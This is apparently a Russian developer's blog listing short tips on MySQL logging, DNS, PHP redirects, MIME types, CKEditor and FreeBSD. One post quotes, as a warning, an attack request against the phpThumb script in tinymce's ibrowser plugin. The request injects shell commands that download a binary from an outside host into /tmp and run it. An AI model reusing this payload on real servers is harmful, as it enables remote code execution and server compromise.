Статьи
Логирование sql запросов
Нашел интересный способ логировать все запросы в файл. Бывает очень полезно, при поиске узких мест в приложении
set global log_output = 'FILE'; set global general_log = 'ON'; set global general_log_file = '/var/log/mysql/queries.log';
Argument list too long
Часто приходится сталкиваться с надписью в консоли:
Argument list too long
Данная проблема возникает из за большого кол-ва файлов в папке (больше 1024). Не знаю, с чем это связано, но решение нашлось в гугле)
find . | xargs rm
Выполнять только в папка, где нужно очистить!
Нашел решение тут: http://www.tsybulnik.ru/nix/rm-argument-list-too-long.html
Правильная структура ЧПУ (URL)
Данная статья не притендует на мануал для новичков или единственно правильный путь постоения урлов в Вашем вем приложении. Данная заметка, только мое субъективное мнение о том, как должны выглядеть урлы. Постараюсь, по подробней рассмотреть популярные CMS и их способы постороения ЧПУ.
На заре зарождения интернета, когда еще не думали о красивых урлах и урл вида index.php?id=1 был давольно распространен.
Во время написания это заметки, наткнулся на оф мануал зенда http://framework.zend.com/manual/ru/zend.controller.router.html Продолжение ....
Апп тиц
Сегодня (16.02.12) на нескольких сайтах подрос тыц +10, 20 также на новом сайте allfreelancers.su
всех с аппом!
Google Public DNS
На скорость доступа к сайтам зависит не только хостинг сайтов, а еще DNS сервера провайдера. Так как некоторые днс сервера бывают недоступны, то лучше использовать днс сервера гугла. Для ip4:
8.8.8.8 8.8.4.4
У кого уже есть IPv6
2001:4860:4860::8888 2001:4860:4860::8844
Чтобы использовать днс сервера гугла достаточно их прописать в настройках сетевого интерфейса и радоваться жизни)
Проверка на главную страницу в шаблоне page.tpl.php
Если надо показать что-то только на главной странице, то можно использовать это:
<?php if ($is_front): ?> <p>This will only appear on the front page.</p> <?php endif; ?>
Перенаправление на мобильную версию сайта
Простой, код на php
if(preg_match('/android.+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iem obile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|symbian|treo|up\.(browser|link )|vodafone|wap|windows (ce|phone)|xda|xiino/i',$_SERVER['HTTP_USER_AGENT'])||preg_match('/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar (ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|b umb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a |jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|e\-|e\/|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(di|rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|d o|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran |owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(4 0|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98 )|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|xda(\-|2|g)|yas\-|your|zeto|zte\-/i',substr($_SERVER['HTTP_USER_AGENT'],0,4))){ if($_SERVER['SERVER_NAME'] == 'mail.ru'){ header('Location: http://m.mail.ru'); die(); } }
Основные mimetype файлов
Может быть полезным, но нет под рукой. Список основных расширений файлов:
array("ez" => "application/andrew-inset", "hqx" => "application/mac-binhex40", "cpt" => "application/mac-compactpro", "doc" => "application/msword", "bin" => "application/octet-stream", "dms" => "application/octet-stream", "lha" => "application/octet-stream", "lzh" => "application/octet-stream", "exe" => "application/octet-stream", "class" => "application/octet-stream", "so" => "application/octet-stream", "dll" => "application/octet-stream", "oda" => "application/oda", "pdf" => "application/pdf", "ai" => "application/postscript", "eps" => "application/postscript", "ps" => "application/postscript", "smi" => "application/smil", "smil" => "application/smil", "wbxml" => "application/vnd.wap.wbxml", "wmlc" => "application/vnd.wap.wmlc", "wmlsc" => "application/vnd.wap.wmlscriptc", "bcpio" => "application/x-bcpio", "vcd" => "application/x-cdlink", "pgn" => "application/x-chess-pgn", "cpio" => "application/x-cpio", "csh" => "application/x-csh", "dcr" => "application/x-director", "dir" => "application/x-director", "dxr" => "application/x-director", "dvi" => "application/x-dvi", "spl" => "application/x-futuresplash", "gtar" => "application/x-gtar", "hdf" => "application/x-hdf", "js" => "application/x-javascript", "skp" => "application/x-koan", "skd" => "application/x-koan", "skt" => "application/x-koan", "skm" => "application/x-koan", "latex" => "application/x-latex", "nc" => "application/x-netcdf", "cdf" => "application/x-netcdf", "sh" => "application/x-sh", "shar" => "application/x-shar", "swf" => "application/x-shockwave-flash", "sit" => "application/x-stuffit", "sv4cpio" => "application/x-sv4cpio", "sv4crc" => "application/x-sv4crc", "tar" => "application/x-tar", "tcl" => "application/x-tcl", "tex" => "application/x-tex", "texinfo" => "application/x-texinfo", "texi" => "application/x-texinfo", "t" => "application/x-troff", "tr" => "application/x-troff", "roff" => "application/x-troff", "man" => "application/x-troff-man", "me" => "application/x-troff-me", "ms" => "application/x-troff-ms", "ustar" => "application/x-ustar", "src" => "application/x-wais-source", "xhtml" => "application/xhtml+xml", "xht" => "application/xhtml+xml", "zip" => "application/zip", "au" => "audio/basic", "snd" => "audio/basic", "mid" => "audio/midi", "midi" => "audio/midi", "kar" => "audio/midi", "mpga" => "audio/mpeg", "mp2" => "audio/mpeg", "mp3" => "audio/mpeg", "aif" => "audio/x-aiff", "aiff" => "audio/x-aiff", "aifc" => "audio/x-aiff", "m3u" => "audio/x!--?---mpegurl", "ram" => "audio/x-pn-realaudio", "rm" => "audio/x-pn-realaudio", "rpm" => "audio/x-pn-realaudio-plugin", "ra" => "audio/x-realaudio", "wav" => "audio/x-wav", "pdb" => "chemical/x-pdb", "xyz" => "chemical/x-xyz", "bmp" => "image/bmp", "gif" => "image/gif", "ief" => "image/ief", "jpeg" => "image/jpeg", "jpg" => "image/jpeg", "jpe" => "image/jpeg", "png" => "image/png", "tiff" => "image/tiff", "tif" => "image/tif", "djvu" => "image/vnd.djvu", "djv" => "image/vnd.djvu", "wbmp" => "image/vnd.wap.wbmp", "ras" => "image/x-cmu-raster", "pnm" => "image/x-portable-anymap", "pbm" => "image/x-portable-bitmap", "pgm" => "image/x-portable-graymap", "ppm" => "image/x-portable-pixmap", "rgb" => "image/x-rgb", "xbm" => "image/x-xbitmap", "xpm" => "image/x-xpixmap", "xwd" => "image/x-windowdump", "igs" => "model/iges", "iges" => "model/iges", "msh" => "model/mesh", "mesh" => "model/mesh", "silo" => "model/mesh", "wrl" => "model/vrml", "vrml" => "model/vrml", "css" => "text/css", "html" => "text/html", "htm" => "text/html", "asc" => "text/plain", "txt" => "text/plain", "rtx" => "text/richtext", "rtf" => "text/rtf", "sgml" => "text/sgml", "sgm" => "text/sgml", "tsv" => "text/tab-seperated-values", "wml" => "text/vnd.wap.wml", "wmls" => "text/vnd.wap.wmlscript", "etx" => "text/x-setext", "xml" => "text/xml", "xsl" => "text/xml", "mpeg" => "video/mpeg", "mpg" => "video/mpeg", "mpe" => "video/mpeg", "qt" => "video/quicktime", "mov" => "video/quicktime", "mxu" => "video/vnd.mpegurl", "avi" => "video/x-msvideo", "movie" => "video/x-sgi-movie", "ice" => "x-conference-xcooltalk" );
Уязвимость в tinymce и ibrowser
Недавно, на почту свалился вот такой вот отчет:
/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9%20-quality%20%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;%20ls%20-l%20/tmp;wget%20-O%20/tmp/barbut6%20bingoooo.co.uk/barbut6;chmod%200755%20/tmp/barbut6;/tmp/barbut6;ps%20-aux;%20&phpThumbDebug=9
Хорошо, что у меня этого плагина (ibrowser) нет. Так что будьте бдительны.
C наступающим новым годом!
Поздравляю всех с наступающим новым годом! Желаю в новом году, всего наилучшего, счасть, радости и удачи. Всем тица и прА :)))
Сервис проверки загрузки сайта
Одним из главных критериев посещаемости сайта является, его доступность. Скорость загрузки, количество графиги и т.д.Сегодня хочу поделиться ссылкой на сервис, который показывает все этапы загруки сайта. Начиная от html, графиги и т.д. заканчивая яваскриптом. Ссылка http://loads.in/
Сайт для фрилансеров
Доброго времени суток. Я уже давно работаю фрилансером и использую пару сайтов, где нахожу проекты, такие как free-lance.ru и weblancer и т.п., но с недавних пор правила пользования, ответов на проекты, поменялись. И теперь можно отвечать только 3 раза в месяц или покупать платный аккаунт. Покупка акка и его поддержание будет стоить средств, что в конечном счете скажется на бюджете проектов.
В связи с этим я решил, написать свой портал, где мои знакомые могли бы публиковать и искать работу. На сайте будут только необходимые функции. По мере загруженности буду писать необходимый функционал. По всем вопросам можно обращаться через форму обратной связи или на емеил [email protected]
Добро пожаловать на портал фриланса для всех
Встраиваем в CKeditor плагин syntaxhighlight
Решил попробовать этот редактор и сразу же столкнулся с проблемой подсветки кода. В CKeditor его по умолчанию нет, но зато можно встроить syntaxhighlight. Что мы попробуем сделать.
Итак, начнем с того что скачаем это плагин с сайта разработчика. Далее открываем скачанный архив и копируем папочку syntaxhighlight в папку нашего редактора - ckeditor/plugins.
config.extraPlugins = 'syntaxhighlight'; config.toolbar_Full.push(['Code']);
После этого появляется кнопка на панели:
После того как Вы проделали эту операцию, идем в CKeditor и наблюдаем новую иконку (она будет последней) с надписью code. При клике на нее выпадает окошко с выбором языка и дополнительными опциями:
Скачать русификатор можно здесь. Кидаем этот файлик в папку ckeditor/lang и меняем в ckeditor/plugins/syntaxhighlight/plugin.js значение en на ru.
На этом вся установка завершена.
Downgrade PHP 5.3 to PHP 5.2 и Zend Optimizer на FreeBSD
Недавно, понадобилось установить Zend Optimizer на FreeBSD c PHP 5.3 и основная проблема в том, что Zend Optimizer для php 5.2 называется Zend Guard и FreeBSD не поддерживается. Пришлось даунгрейдить PHP c 5.3 до 5.2, что было успешно произведено.
Восстановление повреждённого InnoDB
Всем доброй ночи...
Сразу — кто не хочет читать всё — смотрим на выделенный цветом текст...
Давно уже не писал ничего здесь, наконец, подвернулся неудачный случай...
Лежал мой сервер на шкафу несколько месяцев, не запускался вообще ниразу. На кануне, перед тем, как он там оказался, система (FreeBSD 6.4) не была корректно выключена — слишком долго не было электричества, бесперебойник сел и… После этого я сервер запустил, проверил, что система вообще загружается и всё — забил, если можно так сказать :( Электричество у нас подорожало, сервер я больше не могу держать, вместе со своим сайтом с веб-инструментами.